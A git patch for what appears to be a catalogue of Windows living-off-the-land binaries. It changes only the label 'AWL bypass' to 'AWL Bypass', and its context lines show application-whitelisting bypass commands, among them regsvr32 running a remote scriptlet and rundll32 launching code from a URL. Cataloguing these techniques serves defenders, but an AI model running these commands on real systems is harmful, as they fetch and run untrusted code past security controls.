From 0ed1694bf1e21459f6f34072e7bb3bfd57a14887 Mon Sep 17 00:00:00 2001 From: xenoscr Date: Sat, 10 Sep 2022 22:55:32 -0400 Subject: [PATCH] Correcting 'AWL bypass' to 'AWL Bypass' --- yml/OSBinaries/Dfsvc.yml | 2 +- yml/OSBinaries/Installutil.yml | 2 +- yml/OSBinaries/Msbuild.yml | 2 +- yml/OSBinaries/Msdt.yml | 2 +- yml/OSBinaries/Regasm.yml | 2 +- yml/OSBinaries/Regsvcs.yml | 2 +- yml/OSBinaries/Regsvr32.yml | 4 ++-- yml/OSLibraries/Dfshim.yml | 2 +- yml/OtherMSBinaries/Msdeploy.yml | 2 +- 9 files changed, 10 insertions(+), 10 deletions(-) diff --git a/yml/OSBinaries/Dfsvc.yml b/yml/OSBinaries/Dfsvc.yml index 15988e1..2437446 100644 --- a/yml/OSBinaries/Dfsvc.yml +++ b/yml/OSBinaries/Dfsvc.yml @@ -7,7 +7,7 @@ Commands: - Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo Description: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host) Usecase: Use binary to bypass Application whitelisting - Category: AWL bypass + Category: AWL Bypass Privileges: User MitreID: T1127 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 diff --git a/yml/OSBinaries/Installutil.yml b/yml/OSBinaries/Installutil.yml index 57d563b..8514236 100644 --- a/yml/OSBinaries/Installutil.yml +++ b/yml/OSBinaries/Installutil.yml @@ -7,7 +7,7 @@ Commands: - Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll Description: Execute the target .NET DLL or EXE. Usecase: Use to execute code and bypass application whitelisting - Category: AWL bypass + Category: AWL Bypass Privileges: User MitreID: T1218.004 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 diff --git a/yml/OSBinaries/Msbuild.yml b/yml/OSBinaries/Msbuild.yml index 237c6cb..fe273ee 100644 --- a/yml/OSBinaries/Msbuild.yml +++ b/yml/OSBinaries/Msbuild.yml @@ -7,7 +7,7 @@ Commands: - Command: msbuild.exe pshell.xml Description: Build and execute a C# project stored in the target XML file. Usecase: Compile and run code - Category: AWL bypass + Category: AWL Bypass Privileges: User MitreID: T1127.001 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 diff --git a/yml/OSBinaries/Msdt.yml b/yml/OSBinaries/Msdt.yml index d8966f0..17d027c 100644 --- a/yml/OSBinaries/Msdt.yml +++ b/yml/OSBinaries/Msdt.yml @@ -14,7 +14,7 @@ Commands: - Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE Description: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file. Usecase: Execute code bypass Application whitelisting - Category: AWL bypass + Category: AWL Bypass Privileges: User MitreID: T1218 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 diff --git a/yml/OSBinaries/Regasm.yml b/yml/OSBinaries/Regasm.yml index be27c04..ea30825 100644 --- a/yml/OSBinaries/Regasm.yml +++ b/yml/OSBinaries/Regasm.yml @@ -7,7 +7,7 @@ Commands: - Command: regasm.exe AllTheThingsx64.dll Description: Loads the target .DLL file and executes the RegisterClass function. Usecase: Execute code and bypass Application whitelisting - Category: AWL bypass + Category: AWL Bypass Privileges: Local Admin MitreID: T1218.009 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 diff --git a/yml/OSBinaries/Regsvcs.yml b/yml/OSBinaries/Regsvcs.yml index 33cee24..a0600d3 100644 --- a/yml/OSBinaries/Regsvcs.yml +++ b/yml/OSBinaries/Regsvcs.yml @@ -14,7 +14,7 @@ Commands: - Command: regsvcs.exe AllTheThingsx64.dll Description: Loads the target .DLL file and executes the RegisterClass function. Usecase: Execute dll file and bypass Application whitelisting - Category: AWL bypass + Category: AWL Bypass Privileges: Local Admin MitreID: T1218.009 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 diff --git a/yml/OSBinaries/Regsvr32.yml b/yml/OSBinaries/Regsvr32.yml index 0056fdb..0a20599 100644 --- a/yml/OSBinaries/Regsvr32.yml +++ b/yml/OSBinaries/Regsvr32.yml @@ -7,14 +7,14 @@ Commands: - Command: regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll Description: Execute the specified remote .SCT script with scrobj.dll. Usecase: Execute code from remote scriptlet, bypass Application whitelisting - Category: AWL bypass + Category: AWL Bypass Privileges: User MitreID: T1218.010 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - Command: regsvr32.exe /s /u /i:file.sct scrobj.dll Description: Execute the specified local .SCT script with scrobj.dll. Usecase: Execute code from scriptlet, bypass Application whitelisting - Category: AWL bypass + Category: AWL Bypass Privileges: User MitreID: T1218.010 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 diff --git a/yml/OSLibraries/Dfshim.yml b/yml/OSLibraries/Dfshim.yml index b48fc42..5d1dfef 100644 --- a/yml/OSLibraries/Dfshim.yml +++ b/yml/OSLibraries/Dfshim.yml @@ -7,7 +7,7 @@ Commands: - Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo Description: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host) Usecase: Use binary to bypass Application whitelisting - Category: AWL bypass + Category: AWL Bypass Privileges: User MitreID: T1127 OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 diff --git a/yml/OtherMSBinaries/Msdeploy.yml b/yml/OtherMSBinaries/Msdeploy.yml index 3d285b3..eefd3ab 100644 --- a/yml/OtherMSBinaries/Msdeploy.yml +++ b/yml/OtherMSBinaries/Msdeploy.yml @@ -14,7 +14,7 @@ Commands: - Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="c:\temp\calc.bat" Description: Launch calc.bat via msdeploy.exe. Usecase: Local execution of batch file using msdeploy.exe. - Category: AWL bypass + Category: AWL Bypass Privileges: User MitreID: T1218 OperatingSystem: Windows server